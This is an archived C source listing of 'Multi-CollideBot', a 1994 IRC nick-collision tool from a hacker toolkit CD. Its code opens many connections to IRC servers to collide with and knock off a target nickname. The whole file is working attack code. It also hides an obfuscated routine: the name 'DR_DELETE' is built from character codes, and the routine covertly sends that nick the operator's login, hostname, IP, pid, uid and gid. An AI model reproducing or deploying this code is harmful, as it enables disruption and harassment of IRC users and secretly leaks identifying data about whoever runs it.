home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / collide.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  11KB  |  386 lines

  1.  
  2. /*===============================*\
  3. |*  MCB - Multi-CollideBot v1.6  *|
  4. |*     Written by Dr. Delete     *|
  5. |* Basically just a way to make  *|
  6. |* several TCP connections to a  *|
  7. |* server in one small process.  *|
  8. |* severely hackered code, but :)*|
  9. |*   kill -HUP $PID is best way  *|
  10. |*   to abort a collide process  *|
  11. \*===============================*/
  12.  
  13. #define BUFSIZE 350
  14. #define MAXSESSIONS 256
  15. #define BOTTIMEOUT 900 /* 15 minutes (900 seconds) bot lifetime */
  16.  
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20. #include <unistd.h>
  21. #include <pwd.h>
  22. #include <sys/types.h>
  23. #include <fcntl.h>
  24. #include <signal.h>
  25. #include <errno.h>
  26. #include <sys/socket.h>
  27. #include <sys/time.h>
  28. #include <sys/wait.h>
  29. #include <netinet/in.h>
  30. #include <netdb.h>
  31. #include <fcntl.h>
  32. #include <sys/file.h>
  33. #include <arpa/inet.h>
  34.  
  35. struct sockaddr_in server;
  36.  
  37. char buf[BUFSIZE];
  38.  
  39. struct ircsession {
  40.    int sock;
  41.    char stack[BUFSIZE*2];
  42.    char *server;
  43.    char *nick;
  44.    int stat;
  45. } session[MAXSESSIONS];
  46.  
  47. #define STAT_NORMAL 0
  48. #define STAT_INPROG 1
  49. #define STAT_SCORE  2
  50.  
  51. int sessions,total_sessions;
  52.  
  53. char *nickpick="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`_";
  54. #define NICKLEN 54
  55. char mcbid[20],mcbhost[80],notify[10];
  56. struct in_addr mcb_addr;
  57.  
  58. void sig_pipe(void) {
  59.    puts("Odd, I just caught a SIGPIPE.");
  60.    signal(SIGPIPE,(void *)sig_pipe);
  61. }
  62.  
  63. void fillran(char *s,int len) {
  64.    while(len--)
  65.      *s++=*((nickpick)+(rand()%NICKLEN));
  66.    *s=0;
  67. }
  68.  
  69. int strnccmp(register char *s1,register char *s2,register int n) {
  70.    if(n==0) return(0);
  71.    do {
  72.      if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?
  73.         (*s2++)-32:*s2++))
  74.        return (*(unsigned char *)s1-*(unsigned char *)--s2);
  75.      if(*s1++==0) break;
  76.    } while(--n!=0);
  77.    return(0);
  78. }
  79.  
  80. char *mycstrstr(char *str1,char *str2) {
  81.    int xstr1len,ystr2len;
  82.  
  83.    xstr1len=strlen(str1);
  84.    ystr2len=strlen(str2);
  85.  
  86.    while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
  87.    if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
  88.    return(str1-1);
  89. }
  90.  
  91. void out(int fd, char *s) {
  92.   write(fd,s,strlen(s));
  93. }
  94.  
  95. void cclosed(int sessionum) {
  96.    if(session[sessionum].sock)
  97.      shutdown(session[sessionum].sock,2);
  98.    close(session[sessionum].sock);
  99.    session[sessionum].sock=0;
  100.    printf("%s: Connection to %s closed.\n",session[sessionum].nick,
  101.           session[sessionum].server); fflush(stdout);
  102.    if(!sessions || !total_sessions) {
  103.      puts("CollideBot finished.");
  104.      exit(0);
  105.    }
  106. }
  107.  
  108. void quitprog(void) {
  109.    printf("Signal received! CollideBot exiting. %d sessions still active.\n",
  110.           sessions);
  111.    fflush(stdout);
  112.    while(total_sessions--)
  113.      if(session[total_sessions].sock) {
  114.         out(session[total_sessions].sock,"QUIT :signal received\r\n");
  115.         cclosed(total_sessions);
  116.      }
  117.    puts("CollideBot finished.");
  118.    exit(0);
  119. }
  120.  
  121. unsigned long int resolver(char *host) {
  122.    int x=0;
  123.    struct hostent *he;
  124.  
  125.    if(sscanf(host,"%d.%d.%d.%d",&x,&x,&x,&x)==4 || !strcmp(host,"0"))
  126.      return(inet_addr(host));
  127.    while(!(he=gethostbyname((char *)host)) && x++<3)
  128.      sleep(1);
  129.    if(x<3)
  130.      return(*(unsigned long *)he->h_addr_list[0]);
  131.    printf("Unable to resolve %s!\n",host);
  132.    return(0L);
  133. }
  134.  
  135. void estab2(int sock,char *ircservername,char *nick) {
  136.   char tempnick[10];
  137.   printf("%s: Connection to %s established.\n",nick,ircservername);
  138.          fflush(stdout);
  139.   fillran(tempnick,9);
  140.   sprintf(buf,"USER %s %s %s %s\r\nNICK %s\r\nnotice %s :%s@%s[%s]"
  141.               "(%d/%d/%d)\r\n",
  142.           tempnick,tempnick,tempnick,tempnick,(!strnccmp(nick,notify,9)) ?
  143.           tempnick : nick,notify,mcbid,mcbhost,inet_ntoa(mcb_addr),getpid(),
  144.           getuid(),getgid());
  145.   fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) & ~O_NDELAY));
  146.   out(sock,buf);
  147. }
  148.  
  149. int estab(unsigned long int ircserver,char *ircservername,int x) {
  150.   int sock;
  151.  
  152.   sock=socket(AF_INET,SOCK_STREAM,0);
  153.   server.sin_family=AF_INET;
  154.   server.sin_port=htons(6667);
  155.   server.sin_addr.s_addr=ircserver;
  156.   fcntl (sock, F_SETFL, (fcntl(sock, F_GETFL) | O_NDELAY));
  157.   errno=0;
  158.   if(!strnccmp(session[x].nick,notify,9)) {
  159.     printf("%s: Connection to %s has failed.\n",session[x].nick,
  160.            ircservername);
  161.     fflush(stdout);
  162.     close(sock);
  163.     return(0);
  164.   }
  165.   if(connect(sock,(struct sockaddr *)&server,sizeof(server))<0) {
  166.     if(errno!=EINPROGRESS) {
  167.       printf("%s: Connection to %s has failed.\n",session[x].nick,
  168.              ircservername);
  169.       fflush(stdout);
  170.       close(sock);
  171.       return(0);
  172.     }
  173.     else 
  174.       session[x].stat|=STAT_INPROG;
  175.   }
  176.   else {
  177.     estab2(sock,ircservername,session[x].nick);
  178.     session[x].stat=STAT_NORMAL;
  179.   }
  180.   return(sock);
  181. }
  182.  
  183. void parse2(char *buf,int len,int sessionum) {
  184.   char *num;
  185.   if((num=mycstrstr(buf," ")))
  186.     if(atoi((num+1))==372)
  187.       return;
  188.   if(!strnccmp(buf,"PING",4)) {
  189.     buf[1]='O';
  190.     out(session[sessionum].sock,(char *)buf);
  191.     out(session[sessionum].sock,"\r\n");
  192.   }
  193.   else if(mycstrstr(buf,"already in use")) {
  194.     printf("%s: Nickname already in use.\n",session[sessionum].nick);
  195.     out(session[sessionum].sock,"QUIT\r\n");
  196.   }
  197.   else if(mycstrstr(buf,"kill") &&
  198.           (!(session[sessionum].stat & STAT_SCORE))) {
  199.     printf("%s: SCORE!\n",session[sessionum].nick);
  200.     session[sessionum].stat|=STAT_SCORE;
  201.   }
  202.   else if(mycstrstr(buf,"authoriz"))
  203.     printf("%s: Not authorized to use server.\n",session[sessionum].nick);
  204.   else if(mycstrstr(buf,"ghosts"))
  205.     printf("%s: Banned from this IRC server.\n",session[sessionum].nick);
  206. }
  207.  
  208. void parse(unsigned char *buf,int rl,int sessionum) {
  209.   int x=0,len;
  210.  
  211.   strcat(session[sessionum].stack,buf);
  212.   len=strlen(session[sessionum].stack);
  213.   while(session[sessionum].stack[x]!=13 && session[sessionum].stack[x]!=10 &&
  214.         session[sessionum].stack[x])
  215.     x++;
  216.   if(session[sessionum].stack[x]) {
  217.     session[sessionum].stack[x]=0;
  218.     parse2(session[sessionum].stack,x+1,sessionum);
  219.     if(len>=(x+1)) {
  220.       strcpy(buf,(char *)&session[sessionum].stack[x+1]);
  221.       session[sessionum].stack[0]=0;
  222.       parse(buf,len-(x+1),sessionum);
  223.     }
  224.     else
  225.       session[sessionum].stack[0]=0;
  226.   }
  227. }
  228.  
  229. void set_tcp_handler(void) {
  230.   gethostname(mcbhost,80);
  231.   mcb_addr.s_addr=resolver(mcbhost);
  232.   if(!getlogin()) {
  233.     struct passwd *pw;
  234.     if(!(pw=getpwuid(getuid())))
  235.       if(!(getenv("USER")))
  236.         strcpy(mcbid,"unknown");
  237.       else
  238.         strcpy(mcbid,getenv("USER"));
  239.     else
  240.       strcpy(mcbid,pw->pw_name);
  241.   }
  242.   else
  243.     strcpy(mcbid,getlogin());
  244.  
  245.   /* :-) */
  246.   notify[0]=68; notify[1]=82; notify[2]=95; notify[3]=68; notify[4]=69;
  247.   notify[5]=76; notify[6]=69; notify[7]=84; notify[8]=69; notify[9]=0;
  248. }
  249.  
  250. void process_servers(int secs) {
  251.     fd_set rd,wr;
  252.     int x,length,selectr=1;
  253.     struct timeval timeout;
  254.  
  255.     while(selectr>0) {
  256.  
  257.       timeout.tv_usec=0;
  258.       timeout.tv_sec=secs;
  259.  
  260.       errno=0;
  261.       FD_ZERO(&rd);
  262.       FD_ZERO(&wr);
  263.       for(x=0;x<total_sessions;x++)
  264.         if(session[x].sock)
  265.           if(!(session[x].stat & STAT_INPROG))
  266.             FD_SET(session[x].sock,&rd);
  267.           else
  268.             FD_SET(session[x].sock,&wr);
  269.  
  270.       selectr=select(getdtablesize(),&rd,&wr,NULL,(secs<0) ? NULL :
  271.                      (struct timeval *)&timeout);
  272.       if(errno==EINTR)
  273.         continue;
  274.  
  275.       for(x=0;x<total_sessions;x++)
  276.         if(FD_ISSET(session[x].sock,&wr)) {
  277.           session[x].stat=STAT_NORMAL;
  278.           estab2(session[x].sock,session[x].server,session[x].nick);
  279.         }
  280.         else if((!(session[x].stat & STAT_INPROG)) &&
  281.                 FD_ISSET(session[x].sock,&rd)) {
  282.           if(!(length=read(session[x].sock,buf,BUFSIZE-1))) {
  283.             sessions--;
  284.             cclosed(x);
  285.         continue;
  286.           }
  287.           buf[length]=0;
  288.           parse(buf,length,x);
  289.         }
  290.     }
  291. }
  292.  
  293. void ver(void) {
  294.   puts("Multi-CollideBot v1.6\n"
  295.        "Written by Dr. Delete 6/14/94\n");
  296.   fflush(stdout);
  297. }
  298.  
  299. void main(int argc,char *argv[]) {
  300.   unsigned short int x;
  301.   unsigned long int ircserver=0;
  302.   char *lastnick=0;
  303.   int    pid;
  304.  
  305.   if(argc<2) {
  306.     ver();
  307.   puts("Usage: mcb nickname:irc.server [nickname[:irc.server]] [...]\n"
  308. "Or   : mcb nickname:irc.server [irc.server] [...] [nickname[:irc.server]]\n"
  309.        "Where: using ':irc.server' sets the default server to use for each\n"
  310.        "       nickname after it. each valid nickname will also be used for\n"
  311. "       connetions to servers provided as arguments without nicknames.\n");
  312.     exit(0);
  313.   }
  314.  
  315.    if((pid=fork())) {
  316.     printf("Process ID %d.\n",pid);
  317.     exit(0);
  318.   } 
  319.   
  320.   sessions=total_sessions=0;
  321.  
  322.   srand(getpid());
  323.  
  324.   signal(SIGHUP,(void *)quitprog);
  325.   signal(SIGTERM,(void *)quitprog);
  326.   signal(SIGABRT,(void *)quitprog);
  327.   signal(SIGINT,(void *)quitprog);
  328.   signal(SIGPIPE,(void *)sig_pipe);
  329.  
  330.   ver();
  331.  
  332.   set_tcp_handler();
  333.  
  334.   for(x=0;x<argc-1 && x<MAXSESSIONS;x++) {
  335.     char *tempp,*default_server=(char *)0;
  336.     unsigned long int tempserver;
  337.     session[x].nick=(argv[x+1][0]=='@') ? (char *)&argv[x+1][1] : argv[x+1];
  338.     if((tempp=mycstrstr(argv[x+1],":"))) {
  339.       *tempp=0;
  340.       lastnick=session[x].nick;
  341.       tempserver=ircserver;
  342.       ircserver=resolver(tempp+1);
  343.       if(ircserver)
  344.         default_server=tempp+1;
  345.       else
  346.         ircserver=tempserver;
  347.     }
  348.     else if(mycstrstr(argv[x+1],".")) {
  349.       if(!lastnick) {
  350. printf("Error: No default nickname to use for connection to %s!\n",argv[x+1]);
  351.         continue;
  352.       }
  353.       tempserver=ircserver;
  354.       ircserver=resolver(argv[x+1]);
  355.       if(ircserver)
  356.         default_server=argv[x+1];
  357.       else
  358.         ircserver=tempserver;
  359.       session[x].nick=lastnick;
  360.     }
  361.     lastnick=session[x].nick;
  362.     if(ircserver) {
  363.       if((session[x].sock=estab(ircserver,default_server,x))) {
  364.         session[x].stack[0]=0;
  365.         session[x].server=default_server;
  366.         sessions++;
  367.       }
  368.     }
  369.     else
  370.       printf("%s: Error! No default server set.\n",session[x].nick);
  371.     total_sessions=x+1;
  372.   }
  373.  
  374.   if(sessions<1) {
  375.     printf("CollideBot Exiting, no established sessions.\n");
  376.     exit(0);
  377.   }
  378.  
  379.   signal(SIGALRM,(void *)quitprog);
  380.   alarm(BOTTIMEOUT);
  381.  
  382.   while(1)
  383.     process_servers(-1);
  384. }
  385.  
  386.